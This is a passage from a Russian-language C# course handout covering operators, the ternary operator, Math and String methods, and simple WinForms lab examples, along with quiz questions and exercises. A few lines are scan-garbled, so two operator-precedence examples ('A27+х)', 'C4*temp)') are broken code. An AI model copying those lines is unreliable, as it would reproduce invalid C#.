х = 10;
у = х++;
значение переменной у будет установлено равным 10, так как в
этом случае значение переменной х сначала присваивается
переменной у, а затем увеличивается на 1. В обоих случаях значение
переменной х оказывается равным 11. Отличие состоит лишь том,
когда именно это значение станет равным 11: до или после его
присваивания переменной у.
Тема семинара: Операторы отношения и логические
операторы
В обозначениях оператор отношения и логический оператор
термин отношения
означает взаимосвязь, которая может
существовать между двумя значениями, а термин логический —
взаимосвязь между логическими значениями "истина" и "ложь". И
поскольку операторы отношения дают истинные или ложные
результаты, то они нередко применяются вместе с логическими
операторами. Именно по этой причине они и рассматриваются
совместно в данном разделе.
Ниже перечислены операторы отношения.
Оператор
Назначение
==
Равно
>
Больше
<
Меньше
>=
Больше или равно
<=
Меньше или равно
!=
Не равно
К числу логических относятся операторы, приведенные ниже.
Оператор
Назначение
&
И
|
ИЛИ
^
Исключающее ИЛИ
&&
Укороченное И
||
Укороченное ИЛИ
!
Не
Результатом выполнения оператора отношения или логического
оператора является логическое значение типа bool.
Операнды логических операторов должны относиться к типу
bool, а результат выполнения логической операции также относится к
типу bool. Логические операторы &, |, л и ! поддерживают основные
логические операции И, ИЛИ, исключающее ИЛИ и НЕ в
соответствии с приведенной ниже таблицей истинности.
P
Q
P&Q
P|Q
P^Q
!P
False
False
False
False
False
True
True
False
False
True
True
False
False
True
False
True
True
True
True
True
True
True
False
False
Как следует из приведенной выше таблицы, результатом
выполнения логической операции исключающее ИЛИ будет истинное
значение (true), если один и только один ее операнд имеет значение
true.
Ниже приведен пример программы, демонстрирующий
применение нескольких операторов отношения и логических
операторов.
Тема лаб: Оператор присваивания
Оператор присваивания обозначается одиночным знаком
равенства (=). В С# оператор присваивания действует таким же
образом, как и в других языках программирования. Ниже приведена
его общая форма.
имя_переменной = выражение
Здесь имя_переменной должно быть совместимо с типом
выражения.
У оператора присваивания имеется одна интересная
особенность, о которой вам будет полезно знать: он позволяет
создавать цепочку операций присваивания.
Рассмотрим, например, следующий фрагмент кода.
int х, у, z;
х = у = z = 100; // присвоить значение 100 переменным х, у и z
В приведенном выше фрагменте кода одно и то же значение 100
задается для переменных х, у и z с помощью единственного оператора
присваивания. Это значение присваивается сначала переменной z,
затем переменной у и, наконец, переменной х.
Такой способ присваивания "по цепочке" удобен для задания
общего значения целой группе переменных.
Составные операторы присваивания
В С# предусмотрены специальные составные операторы
присваивания,
упрощающие программирование некоторых
операций присваивания. Обратимся сначала к простому примеру.
Приведенный ниже оператор присваивания
х = х + 10;
можно переписать, используя следующий составной оператор
присваивания.
х += 10;
Пара операторов += указывает компилятору на то, что
переменной х должно быть присвоено ее первоначальное значение,
увеличенное на 10.
Рассмотрим еще один пример. Оператор
х = х - 100;
и оператор
х -= 100;
выполняют одни и те же действия. Оба оператора присваивают
переменной х ее первоначальное значение, уменьшенное на 100.
Для многих двоичных операций, т.е. операций, требующих
наличия двух операндов, существуют отдельные составные операторы
присваивания. Общая форма всех этих операторов имеет следующий
вид:
имя_переменной ор = выражение
где ор — арифметический или логический оператор,
применяемый вместе с оператором присваивания.
Ниже перечислены составные операторы присваивания для
арифметических и логических операций.
+=
-=
*=
/=
%=
&=
|=
^=
Составные операторы присваивания записываются более кратко,
чем их несоставные эквиваленты. Поэтому их иногда еще называют
укороченными операторами присваивания.
У составных операторов присваивания имеются два главных
преимущества. Во- первых, они более компактны, чем их
"несокращенные" эквиваленты. И во-вторых, они дают более
эффективный исполняемый код, поскольку левый операнд этих
операторов вычисляется только один раз. Именно по этим причинам
составные операторы присваивания чаще всего применяются в
программах, профессионально написанных на С#.
Тема СРСП – 1.Поразрядные операторы
Тема СРСП – 2.Оператор ?
Оператор ? относится к числу самых примечательных в С#. Он
представляет собой условный оператор и часто используется вместо
определенных видов конструкций if-then-els е. Оператор ? иногда еще
называют тернарным, поскольку для него требуются три операнда.
Ниже приведена общая форма этого оператора.
Выражение 1 ? Выражение2 : ВыражениеЗ;
Здесь Выражение! должно относиться к типу bool, а Выражение2
и ВыражениеЗ — к одному и тому же типу. Обратите внимание на
применение двоеточия и его местоположение в операторе ?
Значение выражения ? определяется следующим образом.
Сначала вычисляется Выражение!. Если оно истинно, то вычисляется
Выражение2, а полученный результат определяет значение всего
выражения ? в целом. Если же Выражение! оказывается ложным, то
вычисляется Выражение3, и его значение становится общим для всего
выражения ?. Рассмотрим следующий пример, в котором переменной
absval присваивается значение переменной val.
absval = val < 0 ? -val : val; // получить абсолютное значение
переменной val
В данном примере переменной absval присваивается значение
переменной val, если оно больше или равно нулю. Если же значение
переменной val отрицательно, то переменной absval присваивается
результат отрицания этого значения, что в итоге дает положительное
значение.
Тема СРСП – 3.Использование пробелов и круглых скобок
В выражении на С# допускается наличие символов табуляции и
пробелов, благодаря которым оно становится более удобным для
чтения. Например, оба приведенных ниже выражения, по существу,
одинаковы, но второе читается легче.
х=10/у*A27+х) ;
х = 10 / у * A27 + х);
Скобки могут служить для группирования подвыражений, по
существу, повышая порядок предшествования заключенных в них
операций, как в алгебре. Применение лишних или дополнительных
скобок не приводит к ошибкам и не замедляет вычисление
выражения. Поэтому скобки рекомендуется использовать, чтобы
сделать более ясным и понятным порядок вычисления как для самого
автора программы, так и для тех, кто будет разбираться в ней
впоследствии. Например, какое из двух приведенных ниже выражение
легче читается?
х = y/3-34*temp+127;
х = (у/3) - C4*temp) + 127;
Контрольные вопросы:
1.
2.
3.
4.
5.
6.
7.
Перечислите операторы отношения
С какими арифметическими операторами вы знакомы?
Перечислите логические операторы
Как работает оператор присваивания?
Синтаксис оператора присваивания
Для чего предназначен оператор ? ?
Для чего предназначены скобки и пробелы в языке С#?
ТЕСТЫ
1.
А)
В)
С)
D)
2.
А)
В)
С)
Оператор х++; равнозначен оператору -……………..?
х=х+1;
х++1;
х+1;
1+х;
Оператор х--; равнозначен оператору -……………..?
х=х-1;
х--1;
х-1;
D) 1-х;
3. Какой из приведенных операторов является оператором
отношения?
А) ==
В) >
С) <
D) Все ответы правильны
4. Какой из приведенных операторов является логическим
оператором?
А) &
В) MessageBox
С) button
D) Label
5. Какой из приведенных операторов является составным
оператором присваивания?
А) +=
В) ++
С) -D) //
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1. Освойте составные операторы присваивания
2. Освойте все свойства элемента управления label
3. Измените текст элемента label
4. Измените форму элемента label
5. Распечатайте число в элементе label
6. С элемента label возьмите значение и присвойте целочисленной
переменной
7. Проверьте логические свойства элемента label
8. Освойте все свойства элемента управления textBox
9. Измените текст элемента textBox
10. Измените форму элемента textBox
11. Распечатайте число в элементе textBox
12. С элемента textBox возьмите значение и присвойте
целочисленной переменной
13. Проверьте логические свойства элемента textBox
14. Измените цвет фона элемента textBox
Модуль 5.
Тема лекции: Функции языка C#. Математические
функции.
Кроме переменных и констант, первичным материалом для
построения выражений являются функции. Большинство их в проекте
будут созданы самим программистом, но не обойтись и без
встроенных функций. Умение работать в среде Visual Studio 2010
предполагает знание встроенных возможностей этой среды, знание
возможностей каркаса Framework .Net, пространств имен, доступных
при программировании на языке C#, а также соответствующих
встроенных классов и функций этих классов.
Математические функции.
Класс Math содержит стандартные математические функции,
без которых трудно обойтись при построении многих выражений.
Класс Math предоставляет константы и статические методы для
тригонометрических,
логарифмических
и
иных
общих
математических функций.
Методы класса Math:
Abs(Decimal) Возвращает абсолютное значение числа Decimal.
Abs(Double) Возвращает абсолютное значение числа двойной
точности с плавающей запятой.
Abs(Int16) Возвращает абсолютное значение 16-битового целого
числа со знаком.
Abs(Int32) Возвращает абсолютное значение 32-битового целого
числа со знаком.
Abs(Int64) Возвращает абсолютное значение 64-битового целого
числа со знаком.
Abs(SByte) Возвращает абсолютное значение 8-битового целого
числа со знаком.
Abs(Single) Возвращает абсолютное значение числа одинарной
точности с плавающей запятой.
Acos Возвращает угол, косинус которого равен указанному
числу.
Asin Возвращает угол, синус которого равен указанному числу.
Atan Возвращает угол, тангенс которого равен указанному
числу.
Atan2 Возвращает угол, тангенс которого равен отношению двух
указанных чисел.
BigMul Умножает два 32-битовых числа.
Ceiling(Decimal) Возвращает наименьшее целое число, которое
больше или равно заданному десятичному числу.
Ceiling(Double) Возвращает наименьшее целое число, которое
больше или равно заданному числу с плавающей запятой двойной
точности.
Cos Возвращает косинус указанного угла.
Cosh Возвращает гиперболический косинус указанного угла.
DivRem(Int32, Int32, Int32) Вычисляет частное двух 32-разрядных
знаковых целых чисел и возвращает остаток в выходном параметре.
DivRem(Int64, Int64, Int64) Вычисляет частное двух 64-разрядных
знаковых целых чисел и возвращает остаток в выходном параметре.
Exp Возвращает e, возведенное в указанную степень.
Floor(Decimal) Возвращает наибольшее целое число, которое
меньше или равно указанному десятичному числу.
Floor(Double) Возвращает наибольшее целое число, которое
меньше или равно заданному числу двойной точности с плавающей
запятой.
IEEERemainder Возвращает остаток от деления одного
указанного числа на другое указанное число.
Log(Double) Возвращает натуральный логарифм (с
основанием e) указанного числа.
Log(Double, Double) Возвращает логарифм указанного числа в
системе счисления с указанным основанием.
Log10 Возвращает логарифм с основанием 10 указанного числа.
Max(Byte, Byte) Возвращает большее из двух 8-битовых целых
чисел без знака.
Max(Decimal, Decimal) Возвращает большее из двух десятичных
чисел.
Max(Double, Double) Возвращает большее из двух чисел
двойной точности с плавающей запятой.
Max(Int16, Int16) Возвращает большее из двух 16-битовых целых
чисел со знаком.
Max(Int32, Int32) Возвращает большее из двух 32-битовых целых
чисел со знаком.
Max(Int64, Int64) Возвращает большее из двух 64-битовых целых
чисел со знаком.
Max(SByte, SByte) Возвращает большее из двух 8-битовых целых
чисел со знаком.
Max(Single, Single) Возвращает большее из двух чисел
одинарной точности с плавающей запятой.
Max(UInt16, UInt16) Возвращает большее из двух 16-битовых
целых чисел без знака.
Max(UInt32, UInt32) Возвращает большее из двух 32-битовых
целых чисел без знака.
Max(UInt64, UInt64) Возвращает большее из двух 64-битовых
целых чисел без знака.
Min(Byte, Byte) Возвращает меньшее из двух 8-битовых целых
чисел без знака.
Min(Decimal, Decimal) Возвращает меньшее из двух десятичных
чисел.
Min(Double, Double) Возвращает меньшее из двух чисел
двойной точности с плавающей запятой.
Min(Int16, Int16) Возвращает меньшее из двух 16-битовых целых
чисел со знаком.
Min(Int32, Int32) Возвращает меньшее из двух 32-битовых целых
чисел со знаком.
Min(Int64, Int64) Возвращает меньшее из двух 64-битовых целых
чисел со знаком.
Min(SByte, SByte) Возвращает меньшее из двух 8-битовых целых
чисел со знаком.
Min(Single, Single) Возвращает меньшее из двух чисел
одинарной точности с плавающей запятой.
Min(UInt16, UInt16) Возвращает меньшее из двух 16-битовых
целых чисел без знака.
Min(UInt32, UInt32) Возвращает меньшее из двух 32-битовых
целых чисел без знака.
Min(UInt64, UInt64) Возвращает меньшее из двух 64-битовых
целых чисел без знака.
Pow Возвращает указанное число, возведенное в указанную
степень.
Round(Decimal) Округляет десятичное значение до ближайшего
целого.
Round(Double) Округляет заданное число с плавающей запятой
двойной точности до ближайшего целого.
Round(Decimal, Int32) Округляет десятичное значение до
указанного числа дробных разрядов.
Round(Decimal, MidpointRounding) Округляет десятичное
значение до ближайшего целого. Параметр задает правило
округления значения, если оно находится ровно посредине между
двумя числами.
Round(Double, Int32) Округляет значение двойной точности с
плавающей запятой до заданного количества дробных разрядов.
Round(Double, MidpointRounding) Округляет заданное значение
число двойной точности с плавающей запятой до ближайшего
целого. Параметр задает правило округления значения, если оно
находится ровно посредине между двумя числами.
Round(Decimal, Int32, MidpointRounding) Округляет десятичное
значение до указанного числа дробных разрядов. Параметр задает
правило округления значения, если оно находится ровно посредине
между двумя числами.
Round(Double, Int32, MidpointRounding) Округляет значение
двойной точности с плавающей запятой до заданного количества
дробных разрядов. Параметр задает правило округления значения,
если оно находится ровно посредине между двумя числами.
Sign(Decimal) Возвращает значение, определяющее знак
десятичного числа.
Sign(Double) Возвращает значение, определяющее знак числа
двойной точности с плавающей запятой.
Sign(Int16) Возвращает значение, определяющее знак 16битового целого числа со знаком.
Sign(Int32) Возвращает значение, показывающее знак 32битового целого числа со знаком.
Sign(Int64) Возвращает значение, показывающее знак 64битового целого числа со знаком.
Sign(SByte) Возвращает значение, определяющее знак 8битового целого числа со знаком.
Sign(Single) Возвращает значение, определяющее знак числа
одинарной точности с плавающей запятой.
Sin Возвращает синус указанного угла.
Sinh Возвращает гиперболический синус указанного угла.
Sqrt Возвращает квадратный корень из указанного числа.
Tan Возвращает тангенс указанного угла.
Tanh Возвращает гиперболический тангенс указанного угла.
Truncate(Decimal) Вычисляет целую часть заданного
десятичного числа.
Truncate(Double) Вычисляет целую часть заданного числа
двойной точности с плавающей запятой.
Тема семинара: Строковые функции
Класс String представляет текст как последовательность знаков
Юникода. В этом классе хранятся все стандартные функции которые
предназначены для обработки строки.
Свойства:
Chars
Length
Получает объект Char в указанной позиции в
текущем
Возвращает число
объекте String.
знаков
в
текущем
Методы:
Clone
Возвращает ссылку на данный экземпляр
класса String.
Compare(String,
String)
Сравнивает
два
указанных
объекта String и возвращает целое число,
которое показывает их относительное
положение в порядке сортировки.
Compare(String,
String, Boolean)
Сравнивает два заданных объекта String (с
учетом или без учета регистра) и
возвращает
целое
число,
которое
показывает их относительное положение
в порядке сортировки.
Compare(String,
String,
StringComparison)
Сравнивает два указанных объекта String с
использованием заданных правил и
возвращает
целое
число,
которое
показывает их относительное положение
в порядке сортировки.
Compare(String,
String, Boolean,
Сравнивает два заданных объекта String (с
учетом или без учета регистра), используя
CultureInfo)
сведения о языке и региональных
параметрах, и возвращает целое число,
которое показывает их относительное
положение в порядке сортировки.
Compare(String,
String, CultureInfo,
CompareOptions)
Сравнивает два заданных объекта String,
используя
указанные
параметры
сравнения и сведения о языке и
региональных
параметрах,
которые
влияют на сравнение, и возвращает целое
число, показывающее связь между двумя
строками в порядке сортировки.
Compare(String,
Int32, String, Int32,
Int32)
Сравнивает подстроки двух указанных
объектов String и возвращает целое число,
которое показывает их относительное
положение в порядке сортировки.
Compare(String,
Int32, String, Int32,
Int32, Boolean)
Сравнивает подстроки двух заданных
объектов String (с учетом или без учета
регистра) и возвращает целое число,
которое показывает их относительное
положение в порядке сортировки.
Compare(String,
Int32, String, Int32,
Int32,
StringComparison)
Сравнивает подстроки двух указанных
объектов String с
использованием
заданных правил и возвращает целое
число,
которое
показывает
их
относительное положение в порядке
сортировки.
Compare(String,
Int32, String, Int32,
Int32, Boolean,
Сравнивает подстроки двух заданных
объектов String (с учетом или без учета
регистра), используя сведения о языке и
региональных параметрах, и возвращает
CultureInfo)
целое число, которое показывает их
относительное положение в порядке
сортировки.
Compare(String,
Int32, String, Int32,
Int32, CultureInfo,
CompareOptions)
Сравнивает подстроки двух заданных
объектов String, используя указанные
параметры сравнения и сведения о языке
и региональных параметрах, которые
влияют на сравнение, и возвращает целое
число, показывающее связь между двумя
подстроками в порядке сортировки.
CompareOrdinal(Str
ing, String)
Сравнивает два заданных объекта String,
оценивая
числовые
значения
соответствующих объектов Char в каждой
строке.
CompareOrdinal(Str
ing, Int32, String,
Int32, Int32)
Сравнивает две подстроки двух заданных
объектов String,
оценивая
числовые
значения
соответствующих
объектов Char в каждой подстроке.
CompareTo(Object)
Сравнивает
данный
экземпляр
с
заданным объектом Object и показывает,
расположен ли данный экземпляр перед,
после или на той же позиции в порядке
сортировки, что и заданный объект Object.
CompareTo(String)
Сравнивает
данный
экземпляр
с
заданным объектом String и показывает,
расположен ли данный экземпляр перед,
после или на той же позиции в порядке
сортировки, что и заданный объект String.
Concat(Object)
Создает
строковое
указанного объекта.
представление
Concat(Object[])
Сцепляет
строковые
представления
элементов в указанном массиве Object.
Concat(IEnumerable
<String>)
Сцепляет
элементы
созданной
коллекции IEnumerable<T> типа String.
Concat(String[])
Сцепляет
элементы
массива String.
Concat(Object,
Object)
Сцепляет строковые представления двух
указанных объектов.
Concat(String,
String)
Сцепляет
два
экземпляра String.
Concat(Object,
Object, Object)
Сцепляет строковые представления трех
указанных объектов.
Concat(String,
String, String)
Сцепляет
три
экземпляра String.
Concat(Object,
Object, Object,
Object)
Сцепляет
строковые
представления
четырех указанных объектов и любые
объекты, заданные в необязательном
списке параметров переменной длины.
Concat(String,
String, String, String)
Сцепляет
четыре
экземпляра String.
указанного
указанных
указанных
указанных
Concat<T>(IEnumer
able<T>)
Сцепляет
реализации IEnumerable<T>.
элементы
Contains
Возвращает
значение,
указывающее,
содержит ли данная строка заданный
объект типа String.
Copy
Создает
новый
экземпляр String,
имеющий то же значение, что и заданный
экземпляр String.
CopyTo
Копирует указанное число символов
начиная с указанной позиции в данном
экземпляре
в
указанную
позицию
массива символов Юникода.
EndsWith(String)
Определяет, совпадает ли конец данного
экземпляра строки с указанной строкой.
EndsWith(String,
StringComparison)
Определяет,
совпадает
ли
конец
экземпляра строки с заданной строкой
при сравнении с учетом заданного
параметра сравнения.
EndsWith(String,
Boolean,
CultureInfo)
Определяет, совпадает ли конец данного
экземпляра строки с заданной строкой
при сравнении с учетом заданного языка
и региональных параметров.
Equals(Object)
Определяет, равны ли значения этого
экземпляра
и
указанного
объекта,
который
также
должен
быть
объектом String. (Переопределяет Object.E
quals(Object).)
Equals(String)
Определяет равны ли значения этого
экземпляра и указанного объекта String.
Equals(String,
String)
Определяет, равны ли значения двух
указанных объектов String.
Equals(String,
StringComparison)
Определяет, равны ли значения этой
строки
и
указанного
объекта String. Параметр определяет язык
и региональные параметры, учет регистра
и правила сортировки, используемые при
сравнении.
Equals(String,
String,
StringComparison)
Определяет, равны ли значения двух
указанных
объектов String. Параметр
определяет
язык
и
региональные
параметры, учет регистра и правила
сортировки,
используемые
при
сравнении.
Finalize
Позволяет
объекту
попытаться
освободить ресурсы и выполнить другие
операции очистки, перед тем как объект
будет утилизирован в процессе сборки
мусора. (Унаследовано от Object.)
Format(String,
Object)
Заменяет один или более элементов
формата в указанной строке строковым
представлением указанного объекта.
Format(String, Objec
Заменяет элемент формата в указанной
t[])
строке
строковым
представлением
соответствующего объекта в указанном
массиве.
Format(IFormatProv
ider, String,Object[])
Заменяет элемент формата в указанной
строке
строковым
представлением
соответствующего объекта в указанном
массиве. Указанный
параметр
предоставляет сведения об особенностях
форматирования, определяемых языком
и региональными параметрами.
Format(String,
Object, Object)
Заменяет элементы формата в указанной
строке строковым представлением двух
указанных объектов.
Format(String,
Object, Object,
Object)
Заменяет элементы формата в указанной
строке строковым представлением трех
указанных объектов.
GetEnumerator
Извлекает
объект,
который
может
выполнять итерацию отдельных знаков
данной строки.
GetHashCode
Возвращает
хэш-код
для
этой
строки. (Переопределяет Object.GetHashC
ode().)
GetType
Возвращает объект Type для текущего
экземпляра. (Унаследовано от Object.)
GetTypeCode
Возвращает TypeCode для класса String.
IndexOf(Char)
Возвращает индекс первого вхождения
указанного знака Юникода в данной
строке.
IndexOf(String)
Возвращает индекс первого вхождения
значения указанной строки в данном
экземпляре.
IndexOf(Char, Int32)
Возвращает индекс первого вхождения
указанного знака Юникода в данной
строке. Поиск начинается с указанной
позиции знака.
IndexOf(String,
Int32)
Возвращает индекс первого вхождения
значения указанной строки в данном
экземпляре. Поиск
начинается
с
указанной позиции знака.
IndexOf(String,
StringComparison)
Возвращает индекс первого вхождения
указанной
строки
в
текущем
объекте String. Параметр определяет тип
поиска заданной строки.
IndexOf(Char, Int32,
Int32)
Возвращает индекс первого вхождения
указанного
знака
в
данном
экземпляре. Поиск
начинается
с
указанной позиции знака; проверяется
заданное количество позиций.
IndexOf(String,
Int32, Int32)
Возвращает индекс первого вхождения
значения указанной строки в данном
экземпляре. Поиск
начинается
с
указанной позиции знака; проверяется
заданное количество позиций.
IndexOf(String,
Int32,
StringComparison)
Возвращает индекс первого вхождения
указанной
строки
в
текущем
объекте String. Параметры
задают
начальную позицию поиска в текущей
строке и тип поиска.
IndexOf(String,
Int32, Int32,
StringComparison)
Возвращает индекс первого вхождения
указанной
строки
в
текущем
объекте String. Параметры
задают
начальную позицию поиска в текущей
строке, количество проверяемых знаков
текущей строки и тип поиска.
IndexOfAny(Char[])
Возвращает
индекс
первого
обнаруженного в данном экземпляре
знака из указанного массива знаков
Юникода.
IndexOfAny(Char[],
Int32)
Возвращает
индекс
первого
обнаруженного в данном экземпляре
знака из указанного массива знаков
Юникода. Поиск начинается с указанной
позиции знака.
IndexOfAny(Char[],
Int32, Int32)
Возвращает
индекс
первого
обнаруженного в данном экземпляре
знака из указанного массива знаков
Юникода. Поиск начинается с указанной
позиции знака; проверяется заданное
количество позиций.
Insert
Вставляет указанный экземпляр String в
данный экземпляр по заданному индексу.
Intern
Извлекает
системную
указанный объект String.
ссылку
IsInterned
Извлекает
ссылку
объект String.
IsNormalized()
Указывает, находится ли данная строка в
форме нормализации Юникода C.
IsNormalized(Norm
alizationForm)
Указывает, находится ли данная строка в
заданной форме нормализации Юникода.
IsNullOrEmpty
Указывает, имеет ли указанная строка
значение null или Empty.
IsNullOrWhiteSpace
Указывает, является ли указанная строка
значением null, пустой строкой или
строкой, состоящей только из пробельных
символов.
Join(String,
IEnumerable<String
>)
Сцепляет
элементы
созданной
коллекции IEnumerable<T> типа String,
помещая
между
ними
заданный
разделитель.
Join(String, Object[])
Сцепляет элементы массива объектов,
помещая
между
ними
заданный
разделитель.
Join(String, String[])
Сцепляет все элементы массива строк,
на
на
указанный
помещая
между
разделитель.
ними
заданный
Join(String, String[],
Int32, Int32)
Сцепляет указанные элементы массива
строк, помещая между ними заданный
разделитель.
Join<T>(String,
IEnumerable<T>)
Сцепляет
элементы
созданной
коллекции,
помещая
между
ними
заданный разделитель.
LastIndexOf(Char)
Возвращает индекс последнего вхождения
указанного знака Юникода в пределах
данного экземпляра.
LastIndexOf(String)
Возвращает значение индекса последнего
вхождения указанной строки в данном
экземпляре.
LastIndexOf(Char,
Int32)
Возвращает индекс последнего вхождения
указанного знака Юникода в пределах
данного экземпляра. Поиск начинается с
указанной позиции знака.
LastIndexOf(String,
Int32)
Возвращает значение индекса последнего
вхождения указанной строки в данном
экземпляре.Поиск
начинается
с
указанной позиции знака.
LastIndexOf(String,
StringComparison)
Возвращает индекс последнего вхождения
указанной
строки
в
текущем
объекте String.Параметр определяет тип
поиска заданной строки.
LastIndexOf(Char,
Int32, Int32)
Возвращает индекс последнего вхождения
указанного знака Юникода в подстроке в
пределах данного экземпляра. Поиск
начинается с указанной позиции знака;
проверяется
заданное
количество
позиций.
LastIndexOf(String,
Int32, Int32)
Возвращает значение индекса последнего
вхождения указанной строки в данном
экземпляре.Поиск
начинается
с
указанной позиции знака; проверяется
заданное количество позиций.
LastIndexOf(String,
Int32,
StringComparison)
Возвращает индекс последнего вхождения
указанной
строки
в
текущем
объекте String.Параметры
задают
начальную позицию поиска в текущей
строке и тип поиска.
LastIndexOf(String,
Int32, Int32,
StringComparison)
Возвращает значение индекса последнего
вхождения указанной строки в данном
экземпляре.Параметры
задают
начальную позицию поиска в текущей
строке, количество проверяемых знаков
текущей строки и тип поиска.
LastIndexOfAny(Ch
ar[])
Возвращает индекс последнего вхождения
в данном экземпляре какого-либо одного
или нескольких знаков, указанных в
массиве знаков Юникод.
LastIndexOfAny(Ch
ar[], Int32)
Возвращает индекс последнего вхождения
в данном экземпляре какого-либо одного
или нескольких знаков, указанных в
массиве
знаков
Юникод. Поиск
начинается с указанной позиции знака.
LastIndexOfAny(Ch
ar[], Int32, Int32)
Возвращает индекс последнего вхождения
в данном экземпляре какого-либо одного
или нескольких знаков, указанных в
массиве
знаков
Юникод. Поиск
начинается с указанной позиции знака;
проверяется
заданное
количество
позиций.
MemberwiseClone
Создает неполную копию текущего
объекта Object. (Унаследовано от Object.)
Normalize()
Возвращает новую строку, текстовое
значение которой совпадает с данной
строкой, а двоичное представление
находится в нормализованной форме C
Юникода.
Normalize(Normaliz
ationForm)
Возвращает новую строку, текстовое
значение которой совпадает с данной
строкой, а двоичное представление
находится в заданной нормализованной
форме Юникода.
PadLeft(Int32)
Возвращает новую строку, в которой
знаки данного экземпляра выровнены по
правому краю путем добавления слева
пробелов до указанной общей длины.
PadLeft(Int32, Char)
Возвращает новую строку, в которой
знаки данного экземпляра выровнены по
правому краю путем добавления слева
пробелов или указанного знака Юникода
до указанной общей длины.
PadRight(Int32)
Возвращает новую строку, в которой
знаки данной строки выровнены по
левому краю путем добавления справа
пробелов до указанной общей длины.
PadRight(Int32,
Char)
Возвращает новую строку, в которой
знаки данной строки выровнены по
левому краю путем добавления справа
пробелов или указанного знака Юникода
до указанной общей длины.
Remove(Int32)
Удаляет из данной строки все знаки
начиная с заданной и до последней
позиции.
Remove(Int32, Int32)
Удаляет заданное число знаков из данного
экземпляра
начиная
с
указанной
позиции.
Replace(Char, Char)
Возвращает новую строку, в которой все
вхождения заданного знака Юникода в
текущем экземпляре заменены другим
заданным знаком Юникода.
Replace(String,
String)
Возвращает новую строку, в которой все
вхождения заданной строки в текущем
экземпляре заменены другой заданной
строкой.
Split(Char[])
Возвращает
строковый
массив,
содержащий
подстроки
данного
экземпляра, разделенные элементами
заданного массива знаков Юникода.
Split(Char[], Int32)
Возвращает
строковый
массив,
содержащий
подстроки
данного
экземпляра, разделенные элементами
заданного
массива
знаков
Юникода. Параметр
указывает
максимальное
число
возвращаемых
подстрок.
Split(Char[],
StringSplitOptions)
Возвращает
строковый
массив,
содержащий подстроки данной строки,
разделенные
элементами
заданного
массива
знаков
Юникода. Параметр
указывает, следует ли возвращать пустые
элементы массива.
Split(String[],
StringSplitOptions)
Возвращает
строковый
массив,
содержащий подстроки данной строки,
разделенные
элементами
заданного
массива
строк. Параметр
указывает,
следует ли возвращать пустые элементы
массива.
Split(Char[], Int32,
StringSplitOptions)
Возвращает
строковый
массив,
содержащий подстроки данной строки,
разделенные
элементами
заданного
массива знаков Юникода. Параметры
задают
максимальное
количество
возвращаемых подстрок и значение,
указывающее, следует ли возвращать
пустые элементы массива.
Split(String[], Int32,
StringSplitOptions)
Возвращает
строковый
массив,
содержащий подстроки данной строки,
разделенные
элементами
заданного
массива
строк. Параметры
задают
максимальное количество возвращаемых
подстрок и значение, указывающее,
следует ли возвращать пустые элементы
массива.
StartsWith(String)
Определяет, совпадает ли начало данного
экземпляра строки с указанной строкой.
StartsWith(String,
StringComparison)
Определяет, совпадает ли начало этого
экземпляра строки с заданной строкой
при сравнении с учетом заданного
параметра сравнения.
StartsWith(String,
Boolean,
CultureInfo)
Определяет,
совпадает
ли
начало
экземпляра строки с заданной строкой
при сравнении с учетом заданного языка
и региональных параметров.
Substring(Int32)
Извлекает
подстроку
из
данного
экземпляра. Подстрока
начинается
с
указанной позиции знака.
Substring(Int32,
Int32)
Извлекает
подстроку
из
данного
экземпляра. Подстрока
начинается
с
указанной позиции знака и имеет
указанную длину.
ToCharArray()
Копирует знаки данного экземпляра в
массив знаков Юникода.
ToCharArray(Int32,
Int32)
Копирует знаки из указанной подстроки
данного экземпляра в массив знаков
Юникода.
ToLower()
Возвращает копию данной строки,
переведенную в нижний регистр.
ToLower(CultureInf
o)
Возвращает
копию
этой
строки,
переведенную
в
нижний
регистр,
используя правила определения регистра
заданного
языка
и
региональных
параметров.
ToLowerInvariant
Возвращает копию этого объекта String,
переведенную
в
нижний
регистр,
используя
правила
учета
регистра
инвариантного языка и региональных
параметров.
ToString()
Возвращает
этот
экземпляр String;
реальное
преобразование
не
осуществляется.(Переопределяет Object.T
oString().)
ToString(IFormatPro
vider)
Возвращает
этот
экземпляр String;
реальное
преобразование
не
осуществляется.
ToUpper()
Возвращает
копию
этой
строки,
переведенную в верхний регистр.
ToUpper(CultureInf
o)
Возвращает
копию
этой
переведенную
в
верхний
строки,
регистр,
используя правила определения регистра
заданного
языка
и
региональных
параметров.
ToUpperInvariant
Возвращает копию этого объекта String,
переведенную
в
верхний
регистр,
используя
правила
учета
регистра
инвариантного языка и региональных
параметров.
Trim()
Удаляет все начальные и конечные знаки
пробела из текущего объекта String.
Trim(Char[])
Удаляет все начальные и конечные
вхождения набора знаков, заданного в
виде массива, из текущего объекта String.
TrimEnd
Удаляет все конечные вхождения набора
знаков, заданного в виде массива, из
текущего объекта String.
TrimStart
Удаляет все начальные вхождения набора
знаков, заданного в виде массива, из
текущего объекта String.
Примечание: Остальную информацию вы можете найти на сайте MSDN
(http://msdn.microsoft.com/ru-ru/library/vstudio/System.String(v=vs.100).aspx)
Тема лаб: Создание
математических функций.
программ
с
использованием
Для данных примеров в форму разместите один TextBox и один Button.
Пример 1. вычислить у=sin(x)*cos(x)-3x2;
private void button1_Click(object sender, EventArgs e)
{
double y, x;
x = Convert.ToDouble(textBox1.Text);
y = Math.Sin(x) * Math.Cos(x) - 3 * Math.Pow(x, 2);
MessageBox.Show(y.ToString());
}
Пример 2. вычислить y=|x-tg(x)|;
private void button1_Click(object sender, EventArgs e)
{
double y, x;
x = Convert.ToDouble(textBox1.Text);
y = Math.Abs(x - Math.Tan(x));
MessageBox.Show(y.ToString());
}
Пример 3. вычислить y=tg(x)+5x3-4x2;
private void button1_Click(object sender, EventArgs e)
{
double y, x;
x = Convert.ToDouble(textBox1.Text);
y = Math.Tan(x) + 5 * Math.Pow(x, 3) - 4 * Math.Pow(x, 2);
MessageBox.Show(y.ToString());
}
Тема СРСП – 1. Создание программ с использованием
строковых функций.
Пример 1. Вводимый текст вывести с загаловочными буквами.
private void button1_Click(object sender, EventArgs e)
{
MessageBox.Show(textBox1.Text.ToUpper());
}
Пример 2. Вводимый текст вывести с прописнимы буквами.
private void button1_Click(object sender, EventArgs e)
{
MessageBox.Show(textBox1.Text.ToLower());
}
Пример 3. Найти индекс первого вхождения заданной подстроки из
строки
private void button1_Click(object sender, EventArgs e)
{
string s = textBox1.Text;
string s1 = textBox2.Text;
MessageBox.Show(textBox1.Text.IndexOf(s1).ToString());
}
Тема СРСП – 2, 3. Создание подстроки
